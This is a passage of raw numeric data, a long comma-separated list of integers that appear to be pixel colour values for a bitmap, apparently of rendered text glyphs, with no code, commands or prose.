,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16758374,0,0,6731519,16777179,9452032,0,0,0,0,0,0,0,6731483,16777215,16777215,16777215,16767926,6684672,0,0,0,58,6721755,16777215,16777179,11953722,3827344,11974326,11964518,3815936,0,0,26294,14417919,16777215,16777215,16777215,16777142,6684672,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,14992,14417919,16777215,14389306,14992,14417919,16777179,9452032,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,3816038,11983871,16777215,16777142,6684672,0,0,6731519,16777215,16758374,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,6731519,16777215,16767888,3801088,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,14389306,0,0,0,6731483,16777215,16777215,16777215,16777215,16767888,3827382,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16767926,9463354,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827344,11983871,16777215,16777215,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,58,9493503,16767888,3801190,11993087,16767888,3801088,0,58,9493503,16777142,6684672,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,58,6721755,16777215,16767888,3801088,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,3838171,16777215,16758374,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,58,9493503,16777215,16777215,16777215,16777179,9452032,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16777179,9452032,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,26294,16777215,11953664,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,11953664,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16767926,6699520,0,0,0,0,0,0,0,3827344,11983871,16777215,16777215,16767926,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,58,9493503,16777179,9452032,3838171,16767888,6721755,16767888,3801146,9493503,16777179,9452032,0,0,0,0,3838171,16777215,16777215,16758374,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,58,9493503,16777215,11953664,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,58,3827382,14417919,16777215,16758374,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,11953664,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16767926,11964518,6699520,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,58,9493503,16777179,9452032,3838171,16758374,3838171,16758374,102,11993087,16777142,6684672,0,0,0,58,9493503,16777215,16777215,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,3838171,16777215,16777179,11974288,9463354,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,14950,9483958,11983871,16777215,16767888,3801088,0,102,11993087,16777179,9452032,0,58,3827382,14417919,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815936,0,0,0,0,0,0,3838171,16777215,16758374,0,58,9493503,14389306,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,26294,14408667,14408667,16777215,16777215,16777215,16777215,16767963,14408667,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684774,11993087,16777142,6684672,0,0,0,0,6731519,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6699520,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684672,3838171,16777215,16777215,16777215,16777215,14399078,0,6731519,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16758374,0,58,9493503,16777215,16758374,0,0,0,3827382,14417919,16777179,11964474,0,0,3827302,6699578,0,0,0,0,3827382,14417919,16777179,14389392,6721718,11974326,11964560,6699520,0,0,0,0,3827382,14417919,16777215,14389350,3801088,0,3827302,6699578,0,0,0,0,0,0,58,3815994,3801088,0,0,0,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,58,9493503,16777179,9452032,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16758374,0,0,3838171,16777215,16758374,0,3838171,16777215,16758374,0,26294,16777215,11953664,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,14992,14417919,16777142,6684672,3838171,16777215,11953664,0,0,6731519,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,58,9493503,16777215,14389306,26294,16777215,16777215,16777215,14389306,0,102,11993087,16777215,16758374,0,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,0,3816038,6721718,11974326,11974326,11964598,14417919,16777142,6684672,0,0,0,3827344,9483958,11974326,11983871,16777179,9452032,0,102,11993087,16777142,6684672,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,0,6731519,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,0,6731519,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,0,6731519,16777215,11953664,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,6731519,16777215,16758374,0,0,0,0,3838171,16777215,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,3838171,16777215,16758374,0,102,11993087,14389306,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,6731519,16777215,14389306,0,0,14992,14417919,16777142,6684672,0,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,11953664,0,0,6731519,16777215,14389306,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,3838171,16777142,9463440,14417919,16777215,14389306,0,0,14950,11983871,16777215,16767888,6699578,6731519,16777215,16777215,16777215,16777179,9452032,102,11993087,16777215,14389306,14950,11993087,16777215,16767888,3801190,11993087,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,3838171,16777215,16767888,9484031,16777215,16767888,3801088,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,14389306,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,58,9493503,16777215,14389306,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,6731519,16777215,14389306,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,6731519,16777215,14389306,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,14950,6721718,11974288,6710842,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,11983835,16777215,16777215,16777215,14408630,9463354,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,3816038,9483995,16777215,16777215,16777215,16767963,11953722,3801088,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,58,9493503,16767888,3801146,9493503,16777142,6684672,0,58,9493503,16777142,6684672,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,26294,16777215,16767888,3801088,0,0,0,0,6731519,16777215,14389306,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16777215,16767963,14399078,3827382,16777215,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,102,11993087,16767888,3827382,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,0,26294,16777215,16777215,16777215,16777215,16777215,16777179,14399120,6699520,0,0,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,0,3838171,16777215,14389306,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,3827344,14417919,16777215,14389306,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,102,11993087,16777179,9452032,58,9493503,16777179,9452032,0,0,58,9493503,16777179,9452032,6731519,16758374,26294,16777142,6684774,11993087,16777142,6684672,0,0,0,102,11993087,16777179,14408703,16777215,11953664,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,102,11993087,16777179,9452032,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16767888,3801088,0,0,0,58,9493503,16777215,11953664,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,14950,9483995,16777215,16777215,16777215,16777215,16777179,11964474,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,6731519,16777179,9452032,6731519,14389306,26294,16767888,3816080,14417919,16767888,3801088,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16758374,0,0,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,0,0,0,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,26294,16777215,16777179,9463354,3801088,0,0,0,58,9483958,11974288,6699520,0,0,0,0,14906,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,